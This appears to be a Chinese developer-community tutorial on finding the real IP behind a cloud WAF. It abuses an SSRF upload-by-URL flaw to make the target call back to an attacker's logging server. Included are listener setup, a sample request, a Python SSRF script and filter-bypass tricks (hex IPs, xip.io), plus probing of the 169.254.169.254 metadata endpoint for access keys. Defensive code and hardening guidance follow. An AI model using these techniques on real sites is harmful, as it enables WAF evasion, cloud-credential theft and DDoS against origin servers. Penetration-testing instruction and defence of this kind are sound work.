云原生WAF绕过实战：巧用云服务商转发逻辑漏洞获取真实IP
前言
-
技术背景：在现代网络攻防体系中，Web应用防火墙（WAF） 是第一道，也是最重要的一道防线。随着企业“上云”成为常态，传统的硬件WAF逐渐被云原生WAF所取代。云原生WAF深度集成于云服务商（如阿里云、腾讯云、AWS）的流量入口，例如API网关、负载均衡（LB）之后，用于清洗和过滤恶意流量。因此，绕过云原生WAF，找到隐藏在WAF背后的源站真实IP，是渗透测试和红队攻击的起点。没有真实IP，后续的许多攻击都将无从谈起。
-
学习价值：掌握本技术，您将能够解决在云环境下进行安全测试时最棘手的问题之一：如何绕过云厂商提供的WAF防护，直接与目标服务器通信。这不仅能极大提升渗透测试的成功率，还能帮助您更深刻地理解云网络架构的复杂性与潜在风险点。对于防御方而言，理解这种攻击方法是构建纵深防御体系、修复配置缺陷的关键。
-
使用场景：这项技术主要应用于以下场景：
- 授权渗透测试：当目标网站部署在云上，且受云原生WAF保护时，使用此方法发现源站IP，从而绕过WAF进行更深入的漏洞挖掘。
- 红蓝对抗演练：作为攻击方（红队）突破边界防御的关键一步，模拟真实黑客攻击路径。
- 安全架构审计：作为防御方（蓝队）或安全顾问，审查并验证云上资产是否存在因转发配置不当而导致真实IP泄露的风险。
一、云原生WAF转发逻辑漏洞是什么
-
精确定义
云原生WAF转发逻辑漏洞，特指在复杂的云网络环境中，由于云服务商提供的多种网络产品（如CDN、API网关、负载均衡器、NAT网关等）之间流量转发与源IP地址处理机制的差异或配置不当，导致攻击者可以通过构造特定的网络请求，绕过WAF的检测，直接访问到后端服务的真实IP地址或触发后端服务主动连接攻击者，从而暴露真实IP的一种安全缺陷。 -
一个通俗类比
想象一下，您要去拜访一座有严格安保（WAF）的大厦（目标服务器）。正常情况下，所有访客都必须从装有安检系统（WAF）的正门进入。但这座大厦的物业（云服务商）为了方便内部不同部门（如快递、外卖、VIP）的进出，设计了多条内部员工通道和货运通道（不同的云产品转发路径）。这些特殊通道的安检措施可能不如正门严格，甚至某些通道可以直接通往您想去的楼层。利用转发逻辑漏洞，就如同找到并利用了这些安检薄弱的“货运通道”，成功避开正门保安，直接到达目标办公室。 -
实际用途
在实战中，此漏洞的核心用途是获取源站真实IP。一旦获取真实IP，攻击者就可以：- 绕过WAF：直接攻击服务器IP，WAF的所有防护规则都将失效。
- 发现更多攻击面：服务器上可能存在一些未对公网开放、但对特定IP（如负载均衡器）开放的端口或服务，为横向移动提供可能。
- 进行DDoS攻击：直接针对源站IP发起流量攻击，成本更低，效果更直接。
-
技术本质说明
云原生WAF通常工作在七层（应用层），依赖于负载均衡器（LB）或API网关等流量入口将HTTP/HTTPS请求转发给它进行检测。为了让后端应用能获取到客户端的真实IP，转发过程中会通过HTTP头部字段（如X-Forwarded-For,X-Real-IP）传递IP信息。问题的本质在于：- 信任链问题：后端服务可能无条件信任由上游转发设备添加的IP头部，而攻击者可以伪造这些头部。
- 多路径问题：云环境中存在多条可以到达后端服务的路径。例如，流量可以通过
CDN -> WAF -> LB -> ECS，也可以通过API网关 -> LB -> ECS，甚至某些遗留配置允许直接访问LB -> ECS。如果某条路径没有强制经过WAF，就形成了绕过。 - 出向流量问题：当后端服务需要主动向外发起请求时（例如，请求一个外部API或图片），它会通过NAT网关或弹性公网IP（EIP）出去。这个出向IP往往是服务器的真实公网IP之一，且通常不受WAF入向规则的保护。
下面的Mermaid图清晰地展示了正常流量路径与利用转发逻辑漏洞的绕过路径。
这张图揭示了攻击的核心思路：避开WAF（C），寻找其他入口（F），或者诱导服务器主动外联（I -> J -> K）来暴露真实IP。
二、环境准备
本教程的核心是利用一个能记录访问来源IP的Web服务，我们称之为“IP回显服务器”。当目标服务器访问它时，我们就能捕获到目标的真实IP。
-
工具与版本
- VPS一台：拥有独立公网IP，用于部署IP回显服务。任何云服务商的VPS均可。
- Nginx：版本不限，推荐
1.18.0或以上。 - Docker & Docker Compose（推荐）：极大简化环境部署。
- Docker Engine:
20.10.x或更高版本 - Docker Compose:
1.29.x或更高版本
- Docker Engine:
-
下载方式
- Docker: 遵循官方文档安装：https://docs.docker.com/engine/install/
- Nginx: 如果不使用Docker，可以直接通过系统包管理器安装，如
sudo apt update && sudo apt install nginx。
-
核心配置命令（Nginx）
我们需要配置Nginx记录所有访问请求的详细信息，特别是源IP。以下是关键的nginx.conf配置片段。# /etc/nginx/nginx.conf 或 /etc/nginx/conf.d/default.conf log_format iplog '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; server { listen 80; server_name your_vps_ip_or_domain; # 替换为你的VPS IP或域名 access_log /var/log/nginx/access.log iplog; error_log /var/log/nginx/error.log; location / { root /usr/share/nginx/html; index index.html index.htm; } }这个配置定义了一个名为
iplog的日志格式，它会记录$remote_addr（直接连接者的IP）和$http_x_forwarded_for（XFF头部内容），并将日志保存在/var/log/nginx/access.log。 -
可运行环境命令（Docker Compose）
这是最推荐的方式。创建一个名为docker-compose.yml的文件。# docker-compose.yml version: '3.7' services: web: image: nginx:latest container_name: ip-logger ports: - "80:80" - "443:443" volumes: - ./nginx/log:/var/log/nginx - ./nginx/conf.d:/etc/nginx/conf.d restart: always同时，创建Nginx配置文件
nginx/conf.d/default.conf：# nginx/conf.d/default.conf server { listen 80; server_name _; # 监听所有域名 # 定义一个特殊的日志格式，记录关键IP信息 log_format iplog '{"remote_addr": "$remote_addr", "x_forwarded_for": "$http_x_forwarded_for", "x_real_ip": "$http_x_real_ip", "host": "$host", "request": "$request", "time": "$time_iso8601"}'; access_log /var/log/nginx/access.log iplog; location / { # 返回一个简单的响应，确认服务正常 return 200 'IP Logger Service is Running.\n'; } }启动命令：
在docker-compose.yml文件所在目录，执行以下命令启动服务。# 创建Nginx配置和日志目录 mkdir -p nginx/conf.d nginx/log # 写入上述Nginx配置文件 # ... (将上面的nginx配置内容写入 nginx/conf.d/default.conf) # 启动服务 docker-compose up -d现在，你的VPS已经在80端口上运行了一个IP记录服务。任何访问
http://<你的VPS_IP>的请求都会被详细记录。
三、核心实战：利用SSRF漏洞触发反向连接
本节我们将演示最经典的一种利用方式：找到目标网站上的一个**服务器端请求伪造（SSRF）**漏洞，并利用它让目标服务器主动访问我们的IP回显服务器，从而暴露其真实IP。
假设目标网站为 https://target.com，它受云原生WAF保护。我们发现其用户个人资料设置中有一个“从URL上传头像”的功能。
-
步骤1：定位SSRF漏洞点
目的：找到一个能让服务器代替我们发起HTTP请求的功能点。
我们登录https://target.com，进入个人资料页面，找到“从URL上传头像”功能。输入框提示我们输入一个图片URL。 -
步骤2：构造Payload并发送
目的：将我们的IP回显服务器地址作为URL提交给目标，诱使其访问。
在“头像URL”输入框中，我们填入IP回显服务器的地址：http://<你的VPS_IP>/attack.jpg。
然后点击“上传”。请求示例 (浏览器发往
target.com)：POST /user/profile/avatar/upload_by_url HTTP/1.1 Host: target.com Content-Type: application/json Cookie: session=... {"avatar_url": "http://<你的VPS_IP>/attack.jpg"} -
步骤3：在IP回显服务器上观察日志
目的：捕获目标服务器的访问请求，获取其真实IP。
我们立刻登录到VPS，查看Nginx的访问日志。# 登录VPS并查看日志 ssh user@your_vps_ip tail -f /var/log/nginx/access.log # 如果使用Docker，路径是 ./nginx/log/access.log输出结果：
如果攻击成功，你将看到一条新的日志记录，类似这样：{"remote_addr": "123.123.123.123", "x_forwarded_for": "-", "x_real_ip": "-", "host": "<你的VPS_IP>", "request": "GET /attack.jpg HTTP/1.1", "time": "2026-02-25T12:30:00+00:00"}这里的
remote_addr字段值123.123.123.123就是目标后端服务器的出向公网IP，即源站真实IP之一！这个IP很可能就是NAT网关的出口IP或服务器绑定的EIP。 -
步骤4：验证真实IP
目的：确认我们找到的IP确实是源站IP，并且可以直接访问。
我们尝试直接访问这个IP。curl -H "Host: target.com" http://123.123.123.123如果返回了
target.com的页面内容，并且没有WAF的拦截标识（例如，没有返回WAF的特殊HTTP头部或拦截页面），那么我们就成功绕过了WAF。 -
自动化脚本（Python）
以下是一个Python脚本，用于自动化探测SSRF并记录IP。# -*- coding: utf-8 -*- import requests import argparse import time import sys # --- 授权测试警告 --- # 本脚本仅限在获得明确授权的测试环境中使用。 # 未经授权对任何系统进行测试都是非法的。 # 使用者需自行承担所有法律责任。 # --- 授权测试警告 --- def check_ssrf_and_get_ip(target_url, post_data_template, listener_url): """ 通过SSRF漏洞触发反向连接，探测目标真实IP。 :param target_url: 存在SSRF漏洞的目标URL :param post_data_template: POST请求的数据模板，用 {payload} 作为占位符 :param listener_url: 攻击者控制的IP回显服务器URL """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Content-Type": "application/json" } # 构造payload payload = post_data_template.replace("{payload}", listener_url) print(f"[*] 正在向 {target_url} 发送SSRF探测请求...") print(f"[*] Payload: {payload}") try: response = requests.post(target_url, data=payload, headers=headers, timeout=15, verify=False) if response.status_code in [200, 201, 202]: print(f"[+] 请求成功发送 (状态码: {response.status_code}).") print("[+] 请在您的IP回显服务器上检查日志，等待反向连接。") print(f"[+] 监控命令示例: tail -f /path/to/your/nginx/access.log") else: print(f"[-] 请求失败，服务器返回状态码: {response.status_code}") print(f"[-] 响应内容: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[!] 请求发生异常: {e}", file=sys.stderr) print("[!] 请检查目标URL是否可达，或网络连接是否存在问题。") if __name__ == "__main__": parser = argparse.ArgumentParser(description="云原生WAF绕过 - SSRF真实IP探测工具") parser.add_argument("-t", "--target", required=True, help="存在SSRF漏洞的目标URL (例如: https://target.com/upload)") parser.add_argument("-d", "--data", required=True, help="POST请求的数据模板，使用 {payload} 作为URL占位符 (例如: '{\"url\":\"{payload}\"}')") parser.add_argument("-l", "--listener", required=True, help="您的IP回显服务器URL (例如: http://your-vps-ip/record)") args = parser.parse_args() # 再次显示警告 print("\n" + "="*50) print(" " * 15 + "!!! 法律风险警告 !!!") print(" " * 5 + "请确保您已获得对目标系统的明确书面授权！") print("="*50 + "\n") time.sleep(3) # 强制阅读 check_ssrf_and_get_ip(args.target, args.data, args.listener)使用方法：
python ssrf_ip_finder.py \ -t "https://target.com/user/profile/avatar/upload_by_url" \ -d '{"avatar_url": "{payload}"}' \ -l "http://<你的VPS_IP>/record"
四、进阶技巧
-
常见错误
- SSRF Payload被WAF拦截：如果直接使用IP地址
http://1.2.3.4被拦截，可以尝试使用不同格式的Payload绕过WAF的正则匹配，如：- 进制转换：
http://0x7f000001(127.0.0.1) - 特殊域名：使用
xip.io这类服务，如http://1.2.3.4.xip.io会解析到1.2.3.4。 - URL编码：对特殊字符进行编码。
- 进制转换：
- 目标使用HTTP DNS：有些应用不使用系统DNS，而是通过HTTP请求内部的DNS服务解析域名。此时直接给IP可能无效，必须给域名。
- 无回显SSRF：即使SSRF成功，页面也可能不返回任何信息。此时完全依赖带外（OOB）的日志服务器来确认。
- SSRF Payload被WAF拦截：如果直接使用IP地址
-
性能 / 成功率优化
- 全协议探测：不仅尝试
http://，还要尝试https://，ftp://等，某些应用可能支持更多协议。 - 多入口探测：不要只盯着一个功能点。网站的很多功能都可能触发对外请求，如：分享到社交网络、导入外部数据、WebHook通知、在线文档预览等。
- 利用平台特性：
- AWS：尝试访问EC2元数据地址
http://169.254.169.254/，如果成功，不仅证明SSRF存在，还可能泄露Access Key等敏感信息。 - 阿里云/腾讯云：同样有自己的元数据服务地址，可以作为探测目标。
- AWS：尝试访问EC2元数据地址
- 全协议探测：不仅尝试
-
实战经验总结
- DNSLog平台是利器：除了自建IP回显服务器，使用
ceye.io、dnslog.cn等公开的DNSLog平台更方便。你可以生成一个专属子域名，让目标请求http://random_string.your_dnslog_domain。DNSLog平台会记录下请求的源IP。 - 关注邮件服务：网站的“忘记密码”、“邮件订阅”等功能会发送邮件。如果可以控制邮件内容（例如，在邮件模板中插入一个图片链接
img src="http://<listener_url>/pixel.gif"），当用户或系统打开邮件时，邮件服务器就会访问你的链接，暴露邮件服务器（MTA）的IP。这个IP也常常是源站IP之一。 - 时间盲注：如果无法进行带外通信，可以尝试让服务器请求一个响应缓慢的地址，通过页面响应时间来判断SSRF是否成功执行。
- DNSLog平台是利器：除了自建IP回显服务器，使用
-
对抗 / 绕过思路
- 寻找未受WAF保护的子域名或IP：大公司通常有众多资产，并非所有资产都配置了WAF。通过子域名爆破、历史DNS记录查询、ASN信息关联等手段，可能找到直接暴露的开发、测试服务器，这些服务器往往与生产环境在同一网段。
- 利用云服务自身的转发规则：
- API网关：某些API网关的路径可以直接映射到后端服务，如果这条路径没有挂载WAF插件，就形成了绕过。
- 函数计算：Serverless函数可以直接被触发，如果函数代码存在SSRF，其出口IP就是云厂商的公共IP池，虽然不是源站IP，但可以作为跳板。
五、注意事项与防御
- 错误写法 vs 正确写法（开发侧）
| 风险点 | 错误写法 (Vulnerable Code - Python/Flask) | 正确写法 (Secure Code - Python/Flask) |
|---|---|---|
| 直接请求用户输入 | python<br>from flask import request<br>import requests<br><br>@app.route('/fetch_image')<br>def fetch_image():<br> url = request.args.get('url')<br> # 直接使用用户输入，危险！<br> image_data = requests.get(url).content<br> return image_data<br> | python<br>from flask import request<br>import requests<br>from urllib.parse import urlparse<br><br>ALLOWED_DOMAINS = ['allowed.example.com']<br><br>@app.route('/fetch_image')<br>def fetch_image():<br> url = request.args.get('url')<br> try:<br> parsed_url = urlparse(url)<br> # 1. 协议白名单<br> if parsed_url.scheme not in ['http', 'https']:<br> return "Invalid scheme", 400<br> # 2. 域名白名单<br> if parsed_url.hostname not in ALLOWED_DOMAINS:<br> return "Host not allowed", 400<br> # 3. 禁止IP直连<br> # (更严格的检查应解析域名，确认IP不在内网)<br> # ...<br> image_data = requests.get(url, timeout=5).content<br> return image_data<br> except Exception:<br> return "Error fetching image", 500<br> |
-
风险提示
- 获取真实IP后，攻击者可以直接绕过所有基于流量清洗的防护措施（WAF、DDoS防护等）。
- 暴露的IP可能是管理后台、数据库等高价值目标的入口。
- 利用SSRF不仅能获取IP，还可能读取内网文件、攻击内网服务、获取云平台AK/SK，风险极高。
-
开发侧安全代码范式
- 白名单原则：对所有由服务端发起的请求，严格限制其目标协议、域名和端口。只允许访问可信的、必要的外部服务。
- 禁止IP直连：禁止应用直接请求IP地址，要求必须使用域名，并在解析后检查IP是否属于内网或保留地址段。
- 统一出口：为所有需要对外发起请求的应用配置统一的、经过安全审计的NAT网关或代理，而不是让每台服务器都拥有独立的公网出口。
- 最小权限原则：为云服务器（如EC2实例）分配具有最小权限的IAM Role，即使被SSRF攻击，也无法获取到高权限的临时凭证。
-
运维侧加固方案
- 收敛攻击面：梳理所有公网入口（LB、API网关、EIP等），确保所有HTTP/HTTPS流量都强制经过WAF。废弃不必要的公网IP和规则。
- 安全组/网络ACL：在云防火墙或安全组中，配置严格的“出向”规则。默认禁止所有出向流量，仅对必要的外部服务（如支付API、对象存储）开放特定IP和端口的访问权限。
- 配置WAF防护SSRF：在云原生WAF上，启用针对SSRF攻击的防护规则，检测请求参数中包含内网IP、元数据地址等敏感信息的行为。
- 使用VPC终端节点（Endpoint）：当需要访问云服务商内部的服务时（如S3、DynamoDB），应使用VPC Endpoint。这使得流量在云内网中流转，不经过公网，从根本上杜绝了相关SSRF攻击的风险。
-
日志检测线索
- 应用日志：监控应用日志中对外HTTP请求的错误，特别是连接超时、DNS解析失败、非预期的HTTP状态码等。
- WAF日志：筛选被WAF拦截的、疑似SSRF攻击的日志，分析其Payload和攻击目标。
- VPC流日志/NAT网关日志：审计从服务器发起的、目标为非受信IP或不常见端口的出向连接。如果发现有服务器频繁请求某个陌生的IP，这可能就是攻击者的IP回显服务器。
总结
- 核心知识：云原生WAF转发逻辑漏洞的本质是利用云环境复杂的网络路径和配置差异，通过SSRF、未受保护的入口等方式，绕过WAF，最终获取源站真实IP。
- 使用场景：主要用于授权渗透测试和红蓝对抗中，是突破云上边界防御、进行深度攻击的关键前置步骤。
- 防御要点：防御的核心在于“收敛入口，严控出口”。开发侧需遵循白名单原则，运维侧需配置严格的安全组出向规则，并确保所有流量路径都得到WAF的有效覆盖。
- 知识体系连接：此技术是“信息收集”和“漏洞利用”两大领域的交集。它上承资产测绘（找到云上目标），下启内网渗透（获取IP后进行端口扫描和漏洞利用）。
- 进阶方向：深入研究各大云服务商（AWS, Azure, GCP, 阿里云, 腾讯云）的特有网络产品（如Global Accelerator, Private Link）及其组合可能产生的新的绕过技术。
自检清单
- 是否说明技术价值？
- 是否给出学习目标？
- 是否有 Mermaid 核心机制图？
- 是否有可运行代码？
- 是否有防御示例？
- 是否连接知识体系？
- 是否避免模糊术语？
腾讯云面向开发者汇聚海量精品云计算使用和开发经验，营造开放的云计算技术生态圈。
更多推荐
18
0- 0
已为社区贡献132条内容
所有评论(0)